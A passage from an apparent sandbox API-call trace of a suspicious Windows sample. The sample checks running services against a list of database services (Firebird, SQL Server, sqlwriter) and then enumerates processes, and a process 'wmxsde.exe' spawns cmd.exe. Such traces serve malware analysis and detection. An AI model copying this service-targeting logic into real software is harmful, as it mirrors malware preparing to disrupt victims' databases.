lpString2="MpsSvc") returned -1 [0186.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0186.127] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0186.127] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0186.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0186.127] lstrlenW (lpString="NcbService") returned 10 [0186.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0186.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0186.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0186.127] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0186.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0186.127] lstrlenW (lpString="netprofm") returned 8 [0186.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0186.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0186.127] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0186.127] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0186.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0186.127] lstrlenW (lpString="NgcSvc") returned 6 [0186.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0186.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0186.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0186.128] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0186.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0186.128] lstrlenW (lpString="NlaSvc") returned 6 [0186.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0186.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0186.128] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0186.128] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0186.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0186.128] lstrlenW (lpString="nsi") returned 3 [0186.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0186.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0186.128] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0186.128] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0186.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0186.128] lstrlenW (lpString="PcaSvc") returned 6 [0186.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0186.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0186.129] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0186.129] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0186.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0186.129] lstrlenW (lpString="PlugPlay") returned 8 [0186.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0186.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0186.129] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0186.129] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0186.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0186.129] lstrlenW (lpString="Power") returned 5 [0186.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0186.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0186.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0186.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0186.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0186.129] lstrlenW (lpString="ProfSvc") returned 7 [0186.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0186.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0186.129] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0186.129] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0186.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0186.129] lstrlenW (lpString="RpcEptMapper") returned 12 [0186.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.130] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0186.130] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0186.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0186.130] lstrlenW (lpString="RpcSs") returned 5 [0186.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0186.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0186.130] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0186.130] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0186.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0186.130] lstrlenW (lpString="SamSs") returned 5 [0186.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0186.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0186.130] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0186.130] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0186.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0186.130] lstrlenW (lpString="Schedule") returned 8 [0186.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0186.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0186.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0186.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0186.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0186.131] lstrlenW (lpString="SecurityHealthService") returned 21 [0186.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0186.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0186.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0186.131] lstrlenW (lpString="SENS") returned 4 [0186.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0186.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0186.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0186.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0186.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0186.131] lstrlenW (lpString="ShellHWDetection") returned 16 [0186.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.133] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0186.133] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0186.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0186.133] lstrlenW (lpString="Spooler") returned 7 [0186.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0186.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0186.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0186.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0186.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0186.133] lstrlenW (lpString="StateRepository") returned 15 [0186.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0186.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0186.133] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0186.133] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0186.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0186.133] lstrlenW (lpString="SysMain") returned 7 [0186.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0186.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0186.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0186.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0186.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0186.133] lstrlenW (lpString="SystemEventsBroker") returned 18 [0186.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0186.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0186.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0186.133] lstrlenW (lpString="Themes") returned 6 [0186.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0186.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0186.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0186.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0186.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0186.134] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0186.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0186.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0186.134] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0186.134] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0186.134] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0186.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0186.141] Process32FirstW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.142] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.143] lstrlenW (lpString="System") returned 6 [0186.143] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.145] lstrlenW (lpString="smss.exe") returned 8 [0186.145] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.146] lstrlenW (lpString="csrss.exe") returned 9 [0186.146] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.147] lstrlenW (lpString="wininit.exe") returned 11 [0186.148] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.149] lstrlenW (lpString="csrss.exe") returned 9 [0186.149] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.159] lstrlenW (lpString="winlogon.exe") returned 12 [0186.159] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.161] lstrlenW (lpString="services.exe") returned 12 [0186.161] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.163] lstrlenW (lpString="lsass.exe") returned 9 [0186.163] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.164] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.164] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.166] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.167] lstrlenW (lpString="svchost.exe") returned 11 [0186.167] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.168] lstrlenW (lpString="svchost.exe") returned 11 [0186.168] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.169] lstrlenW (lpString="dwm.exe") returned 7 [0186.170] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.171] lstrlenW (lpString="svchost.exe") returned 11 [0186.171] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.220] lstrlenW (lpString="svchost.exe") returned 11 [0186.220] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.221] lstrlenW (lpString="svchost.exe") returned 11 [0186.221] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.222] lstrlenW (lpString="svchost.exe") returned 11 [0186.222] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.224] lstrlenW (lpString="svchost.exe") returned 11 [0186.224] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.225] lstrlenW (lpString="svchost.exe") returned 11 [0186.225] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.226] lstrlenW (lpString="svchost.exe") returned 11 [0186.227] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.228] lstrlenW (lpString="svchost.exe") returned 11 [0186.228] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.229] lstrlenW (lpString="svchost.exe") returned 11 [0186.229] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.230] lstrlenW (lpString="svchost.exe") returned 11 [0186.230] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.232] lstrlenW (lpString="spoolsv.exe") returned 11 [0186.232] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.233] lstrlenW (lpString="svchost.exe") returned 11 [0186.233] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.234] lstrlenW (lpString="audiodg.exe") returned 11 [0186.235] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0186.236] lstrlenW (lpString="taskhostw.exe") returned 13 [0186.236] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0186.237] lstrlenW (lpString="sihost.exe") returned 10 [0186.237] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.238] lstrlenW (lpString="svchost.exe") returned 11 [0186.238] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0186.240] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0186.240] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0186.241] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0186.241] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0186.242] lstrlenW (lpString="Memory Compression") returned 18 [0186.243] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0186.244] lstrlenW (lpString="taskhostw.exe") returned 13 [0186.244] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0186.245] lstrlenW (lpString="msoia.exe") returned 9 [0186.245] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.246] lstrlenW (lpString="explorer.exe") returned 12 [0186.247] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0186.248] lstrlenW (lpString="SearchUI.exe") returned 12 [0186.248] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0186.249] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0186.249] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0186.250] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0186.250] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0186.252] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0186.252] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0186.253] lstrlenW (lpString="wmxsde.exe") returned 10 [0186.253] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0186.302] lstrlenW (lpString="cmd.exe") returned 7 [0186.303] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 